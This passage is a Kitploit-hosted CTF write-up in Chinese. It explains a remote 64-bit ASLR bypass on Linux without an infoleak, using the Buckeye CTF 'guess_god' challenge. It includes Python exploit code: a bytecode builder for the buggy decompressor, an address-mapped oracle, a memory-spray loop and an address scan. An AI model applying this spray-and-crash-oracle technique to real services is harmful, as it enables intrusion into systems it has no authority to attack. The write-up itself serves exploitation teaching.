Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
how-to-bypass-aslr-on-linux-x86_64 — ASLR bypass without infoleak | Kitploit
工具/GitHubGitHub/nick0ve/how-to-bypass-aslr-on-linux-x86_64
ExploitationCTFLearning & EducationBinary Exploitation
GitHubnick0ve/how-to-bypass-aslr-on-linux-x86_64

how-to-bypass-aslr-on-linux-x86_64

ASLR bypass without infoleak

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
167174年前Kitploit 审核通过

在 Linux x86-64 上绕过 64 位 ASLR

在这篇文章中,我将讨论 Samuel Groß 在他的 Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass 中描述的技术在 Linux x86_64 上绕过 ASLR 的应用。

为了展示这一点,我将解决来自 Buckeye CTF 的一个 pwnable 挑战,即 guess_god。

我会尽量让内容对初学者友好,如果你觉得自己已经足够自信,或者只想直接看漏洞利用,可以随意跳过任何部分。

0. 引言


我没有参加这个 CTF,但在 CTF 结束前大约 2 小时,由于 Guray00 在 fibonhack 的 discord 上请求帮助解决一些加密相关的把戏,我因此对这个挑战产生了兴趣。

我帮不上他的忙,但我看了一下 pwnable 挑战,觉得弄懂 P0 博客文章会是一件好事,并希望能拿到那份赏金。

1. ASLR 及其绕过方法

1.1 什么是 ASLR?

地址空间布局随机化(ASLR)是一种计算机安全技术,它涉及在进程的地址空间中随机定位可执行文件的基础地址以及库、堆和栈的位置。

1.2 Linux 上的 ASLR

在 Linux 上,你可以通过读取 /proc/<pid>/maps 文件,借助 procfs 来检查给定 pid 进程的内存映射。

如果你是一个进程,并且想了解自己的内存映射,可以读取 /proc/self/maps。

例如,你可以尝试用 cat 读取 /proc/self/maps:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap] 7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0 7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0 7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack] 7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar] 7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@kitploit:~
### 内存映射模式

如果你重复操作几次,就能推断出:
* 二进制文件的 PIE 基地址应该位于 0x00005500_00000000-0x00005700_00000000 范围内,这意味着有 2TB 个可能的地址。
* 堆位于二进制文件附近。
* 库位于 0x00007f00_00000000 - 0x00007fff_ffffffff 范围内,有 1TB 个可能的地址。
* 栈 \(大部分情况下\) 位于 0x00007ffc_00000000 - 0x00007fff_ffffffff 范围内,有 16gb 个可能的地址。
* 范围 0xffffffffff600000 - 0xffffffffff601000 总是被映射,如果你对它是什么感到好奇,可以阅读[这篇文章](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso)。

## 1.3 如何在没有信息泄露的情况下绕过 ASLR

让我们讨论一下,当无法进行信息泄露时,你可以用什么方法来绕过 ASLR。

以下是我尝试对阅读 Saelo 博客文章后的收获所做的总结。

要绕过 ASLR,你需要:
* 一种内存喷射技术,它允许你在给定的地址范围内映射指定大小的连续内存。

  正如他所说,有两种方式可以做到:
  1. 滥用内存泄漏(不是信息泄露!)——一种内存块被“遗忘”而从未释放的 bug——并多次触发它,直到泄漏出所需数量的内存。
  2. 寻找并滥用“amplification gadget”(放大小工具):一段获取现有数据块并复制它(可能多次)的代码,从而使攻击者只需发送相对较少的字节就能喷射大量内存。
* 一个 `isAddressMapped` oracle,给定一个地址,它会告诉你该地址是否已被映射。

### Linux 上绕过 ASLR 的 PoC

让我们尝试复现 saelo 的 PoC,以在 Linux 上彻底打破 aslr。

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> saelo 的 poc</i> <p/> <br/>

在 Linux 上这并不容易,只有当你能够分配 16TB 内存时,才有可能完全打破 ASLR。```C
#include <stdio.h>
#include <stdlib.h>

int main()
{
    // 64gb
    size_t size = 0x1000000000;

    // 16TB allocations
    for (int i = 0; i < 256; i++) {
        void *mem = malloc(size); // this ends up calling mmap
        if (!mem) {
            puts("Failed");
            return 1;
        }
        printf("%p\n", mem);
    }

    unsigned int *mem = (void*)0x7f0000000000ULL;
    *mem = 0x41414141;
    printf("R/W to %p: %x\n", mem, *mem);

    return 0;
}

关于 glibc 内存分配的说明

摘自 man malloc 的说明:

  • 通常,malloc() 会从堆中分配内存,并在需要时使用 sbrk(2) 调整堆的大小。当分配的内存块大于 MMAP_THRESHOLD 字节时,glibc 的 malloc() 实现会使用 mmap(2) 将该内存作为私有匿名映射进行分配。MMAP_THRESHOLD 默认为 128 kB,但可以使用 mallopt(3) 进行调整。通过 mmap(2) 执行的分配不受 RLIMIT_DATA 资源限制的影响(参见 getrlimit(2))。

因此 void *mem = malloc(size) 最终会调用 mmap(size + malloc_metadata_size, ...)

由于库是通过 ld 以 mmap 方式映射进进程的,这些分配最终会落在库附近。

边界跨越技巧

如果你查看 malloc 返回的地址,就能更好地理解发生了什么。小贴士:关注最高有效字节。

该 poc 利用的事实是:在某个时刻,返回地址的最高有效字节从 7F 变成了 7E,并且由于这些分配是连续的,因此在该范围内一定存在某些内容。(是的,我们正在应用 Bolzano-Weirstress 定理 来解决这个问题!)

2 挑战

多亏了作者,压缩包中包含了二进制文件、源代码和 dockerfile,可用于复现与远程环境相同的环境。


2.1 初始立足点

了解一些环境信息总是好的,让我们浏览一下文件并做些记录。

  • jail.cfg 设置了一些限制,别忘了这些限制,因为它们可能会搞砸漏洞利用: ```yaml time_limit: 300 cgroup_cpu_ms_per_sec: 100 cgroup_pids_max: 64 rlimit_fsize: 2048 rlimit_nofile: 2048 cgroup_mem_max: 1073741824 # 1GB
    root@kitploit:~
  • 从 Dockerfile 中我们可以了解一些有趣的事情:
    1. 构建并安装 oatpp 1.2.5,也许这个特定版本中存在可利用的漏洞?

      root@kitploit:~
      # Install oatpp
      RUN git clone https://github.com/oatpp/oatpp.git
      RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
      
    2. 它从零开始构建这个挑战

      root@kitploit:~
      WORKDIR /home/ctf/challenge/src/
      RUN mkdir -p src/build && cd src/build && cmake .. && make
      RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt /   home/  ctf/challenge/
      

      这可能会带来问题,所以让我们改为复制分发的二进制文件 来代替。

      root@kitploit:~
      COPY bins/flag_server-exe /home/ctf/challenge/
      COPY bins/libkylezip.so /home/ctf/challenge/
      
  • 最后一件事,检查所提供的二进制文件的保护机制


    太棒了,libkylezip.so 编译时使用了 Partial RELRO,这意味着 GOT 是可写的,记住这一点,以便在之后想要实现代码执行时使用。

2.2 搭建本地环境并探测应用程序

项目中提供了 docker-compose.yml 文件,所以要搭建一个可用于探测的本地环境并不难。对于不熟悉 docker 的朋友,下面是你需要在本地探测该挑战时掌握的命令列表。```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container

docker ps # list containers docker exec -it # exec COMMAND into the container

root@kitploit:~
执行 `docker-compose build` 后,你可以执行 `docker-compose up` 来启动容器,并通过 `nc 127.0.0.1 9000` 连接到挑战。
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/> 

# 3. 源代码分析

既然已经基本了解了为了绕过 ASLR 我们需要做什么,那么来看看源代码,同时记住我们需要:
* 一种在已知内存范围内喷射内存的方法
* 一个 isAddrMapped 预言机

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> 源代码文件夹 </i><p/> 

它大多是让 oatpp Web 服务器启动并运行的胶水代码,实际上,我们要分析的重要文件是:
* src/controller/MyController.*
* kylezip/decompress.*

## 3.1 MyController.*

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/> 

共有 3 个端点:
* `/`
* `GET /files/{fileId}` -> 下载先前上传的文件,如果 extract 为 true,则在下载前先解压。
* `POST /upload/{fileId}` -> 根据给定的 {fileId} 上传文件。

还有一个在 `MyController.cpp` 中实现的函数。```C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract) 

其中:

  • 将 to_open 设置为 {file_id} 或 {file_id}.unkyle ```C std::ostringstream comp_fname; comp_fname << filename; if (extract) { // Want the un-kylezip-d version comp_fname << ".unkyle"; } auto to_open = comp_fname.str();

    root@kitploit:~
  • 如果这是我们第一次请求提取 {file_id},那么它会在其上调用 decompress, 这会将 {file_id} 的解压文件写入 {file_id}.unkyle。 ```C int fd = open(to_open.c_str(), O_RDONLY); if (fd == -1) { if (!extract) return NULL;

    root@kitploit:~
    /* Need to create decompressed version of file
     * Kyle gave me a buggy library so we are going to fork
     * in case we crash the web server will still stay up.
     */
    pid_t p = fork();
    if (p == 0) {
      decompress(filename);
      exit(0);
    } else {
      waitpid(p, NULL, 0);
    }
    
    
    fd = open(to_open.c_str(), O_RDONLY);
    if (fd == -1) {
      return NULL;
    }
    

    }

    root@kitploit:~
  • 最后,使用 mmap 将结果映射到内存中。 ```C struct stat sb;

    if (fstat(fd, &sb) != 0) { return NULL; }

观察

  • fork() 通过复制调用进程来创建一个新进程,在 fork() 发生时,两个内存空间具有相同的内容。

    因此,如果我们能将 decompress() 变成一个预言机,它可以:

    • 遇到错误地址时崩溃
    • 遇到正常地址时不崩溃

    我们可以利用这个原语来推断父进程的内存空间。

  • 父进程中有一个对 mmap 的调用: ```C void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

    root@kitploit:~

if we can control sb.st_size(即解压后文件的大小),我们就能轻松地将其转变为一种内存喷射原语。

3.2 decompress.*

decompress()```C

int decompress(const char *fname)

root@kitploit:~
* 将输入文件映射到地址 `0x42069000000`。
* 将输出文件映射到地址 `0x13371337000`。
* 调用 do_decompress() 来完成解压。

该文件预期采用以下格式:
| 偏移量 | 名称 | 类型 | 描述 |
| - | - | - | - | 
| +0h | magic | uint64 | 一个魔数,预期为 0x0123456789abcdef |
| +8h | filesize | uint64 | 解压后文件的大小 |

### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)

您可以将此函数视为一个简单的虚拟机,它执行由 in 指向的字节码,并将输出写入由 out 指向的缓冲区。

in 指向我们的 {file_id}。

out 指向 {file_id.unkyle}。

此虚拟机有 4 个操作码:

  • 0 -> NOP

  • 1 -> STORE(u8 b)

    将 b 写入 out,并将 out 递增 1。

    操作码实现: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }

    root@kitploit:~
  • 2 -> SEEK(u64 off)

    将 out 设置为 out + off。

    out 和 off 是 64 位值,因此 out = out+off 等价于 out = (out+off) % MAX_64BIT_VALUE,这被称为整数溢出,我们可以利用这种行为来达到任何 64 位值。示例: ```py M64 = (1<<64) # Maximum 64bit value def get_off(out: int, target: int): return (target-out) % M64

    We are at 0xffffffff, what can we add to reach 0?

操作码实现: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }

root@kitploit:~
* 3 -> LOAD(off, size). 
从 `out - off` 复制 `size` 字节到 `out`,并将 `out` 增加 8。

操作码实现:  ```C
case 3: {
  // Copy some previously written bytes
  uint64_t off = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  uint64_t count = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  memcpy(out, out-off, count);
  out += count;
  break;
}

这些操作中没有任何边界检查,这给了我们两个有用的原语:

  • Read What Where,滥用 SEEK+LOAD
  • Write What Where:滥用 SEEK+STORE

我用这段代码来构建字节码:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1

class CompressedFile(): slots = ['cur', 'content', 'out']

root@kitploit:~
def __init__(self, filesize):
    self.cur = 16
    self.content = b''
    self.content += p64(0x0123456789abcdef) # magic
    self.content += p64(filesize) # file size
    self.out = OUT_ADDR

def nop(self):
    self.content += b'\x00'
    self.cur += 1

def write(self, b: bytes):
    assert len(b) == 1

    self.content += b'\x01' + b
    self.cur += 2
    self.out += 1

def seek(self, off):
    self.content += b'\x02'
    self.content += p64(off)
    self.cur += 9

def memcpy(self, off, count):
    # memcpy(out, out-off, count);
    self.content += b'\x03'
    self.content += p64(off)
    self.content += p64(count)
    self.cur += 17
root@kitploit:~
# 4. 与二进制文件交互

在深入漏洞利用阶段之前,最好先构建一些东西,让你能够轻松地与二进制文件交互,以避免浪费时间。```py
import requests

def uploadFile(blob: bytes, fileid: int):
    assert (fileid < (1<<31) - 1)

    multipart_form_data = {
        'file': (f'payload_{fileid}', blob),
    }

    res = requests.post(
        f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
        files=multipart_form_data
    )

    return res

def getFile(fileid: int, extract="true"):
    res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
    return res

检查挑战的内存映射

在尝试解决这个挑战时,这一点对我来说非常重要,我盯着内存映射看了很长时间。

为此,你可以启动一个本地挑战实例,并在进行一些操作后读取进程的内存映射。


4.2 isAddrMapped 预言机

我们被赋予了一个 read-what-where 原语,因此构建一个 isAddressMapped 预言机并不困难。

我的做法是构建以下字节码:

  • memcpy(out, targetAddress, 1)
  • write(b'A')

如果 targetAddress 未被映射,子程序会在 memcpy 处段错误,从而使我们得到一个充满空字节的解压文件。

如果 targetAddress 已被映射,解压文件的第二个字节就是 b'\x41'。```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)

root@kitploit:~
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')

uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41

return isMapped
root@kitploit:~
## 4.3 内存喷射原语

我们可以完全控制解压后文件的大小,并在 [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/dist-guess-god/src/src/controller/MyController.cpp#L62) 中获得该大小的一个 mmap。

在我的漏洞利用中,我使用了 `isAddrMapped` 函数,并修改了 filelen。

例如,让我们尝试分配一个大小为 0x4000000 = 64mb 的连续内存块。```py
isAddrMapped(IN_ADDR, 0, 0x4000000)

这就是结果:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...

root@kitploit:~
如果你再试一次:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)

这就是结果:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle

root@kitploit:~
太好了!多次分配将不会有间隙。

## 4.4 要喷射多少内存?

正如你从[这个 PoC](#poc-of-aslr-bypass-on-linux) 中所看到的,连续映射内存的理想大小应为 16TB。

不幸的是,如果你尝试在远程服务器上分配 16TB 的内存,mmap 会失败,因为 [nsjail 对此有限制](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold)。

经过一番反复试验,我发现可以使用以下代码喷射约 3840MB 的内存:```py
size =    0x000004000000
for i in range(0, 60):
    print ('.', end='')
    isAddrMapped(IN_ADDR, i, size)

内存映射的结果将如下所示:

Memory Spray 结果```

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps ... My spray: ... 7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle 7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle 7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle 7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle 7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle 7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle 7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle 7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle 7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle 7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle 7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle 7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle 7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle 7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle 7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle 7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle 7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle 7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle 7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle 7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle 7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle 7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle 7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle 7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle 7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle 7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle 7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle 7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle 7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle 7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle 7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle 7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle 7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle 7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle 7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle 7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle 7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle 7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle 7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle 7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle 7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle 7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle 7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle 7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle 7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle 7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle 7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle 7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle 7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle 7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0 7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0 7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle 7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle 7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle 7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle 7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle 7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle 7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle 7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle 7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle 7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle 7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0 7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0

... Libraries: ...

7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so

...

root@kitploit:~
让我们把注意力集中在通过内存喷洒创建的地址上。 \(*.unkyle files \)

我们可以尝试应用[边界跨越技巧](#Boundary-cross-trick)。

| mem | 4gb 边界跨越?
| - |-
| 7fe2dc000000 | 否
| 7fe2e0000000 | 否
| 7fe2e4000000 | 否
| 7fe2e8000000 | 否
| 7fe2ec000000 | 否
| 7fe2f0000000 | 否
| 7fe2f4000000 | 否
| 7fe2f8000000 | 否
| 7fe2fc000000 | 否
| 7fe300000000 | 是
| 7fe304000000 | 是
| 7fe308000000 | 是

通过利用从 7fe2.. 到 7fe3.. 的变化,我们可以以 0x100000000 = 4gb 内存为步长扫描内存。

## 4.5 最终绕过 ASLR

鉴于该步长,我们可以仅用 `end - start / size` = 256 次查询,扫描从 `start=0x7f0000000000` 到 `end=0x800000000000` 的范围。```py
start = 0x7f0000000000
end = 0x800000000000 
step = 0x100000000 # 4gb

isMapped = False
j = 0xff
while isMapped == False:
    leakAddr = start + j*step
    isMapped = (isAddrMapped(leakAddr, 1000 + j))
    j -= 1

此时,我们有了 leakAddr,它是一个映射地址,形如:0x7fXX00000000,在 此 案例中,leakAddr = 0x7fe300000000。

现在,如果我们想采用 saelo 技术,就应该在 0x7fXX00000000 - 0x7fXXffffffff 范围内进行二分搜索,以找到上下界,问题在于该范围内存在一些空洞,因此二分搜索经常会失败。

你可以用 这个 脚本自行验证:``` RANGE SIZE

0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000

root@kitploit:~
0x00007f763c000000 和 0x00007f763ccaa000 之间的小间隙会打乱二分查找,当然它仍然可行,但我找到了一个更简单的方法。

### 观察

我们想要获取最后一个映射地址,因为那是库映射的位置。

例如,给定以下库的映射:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
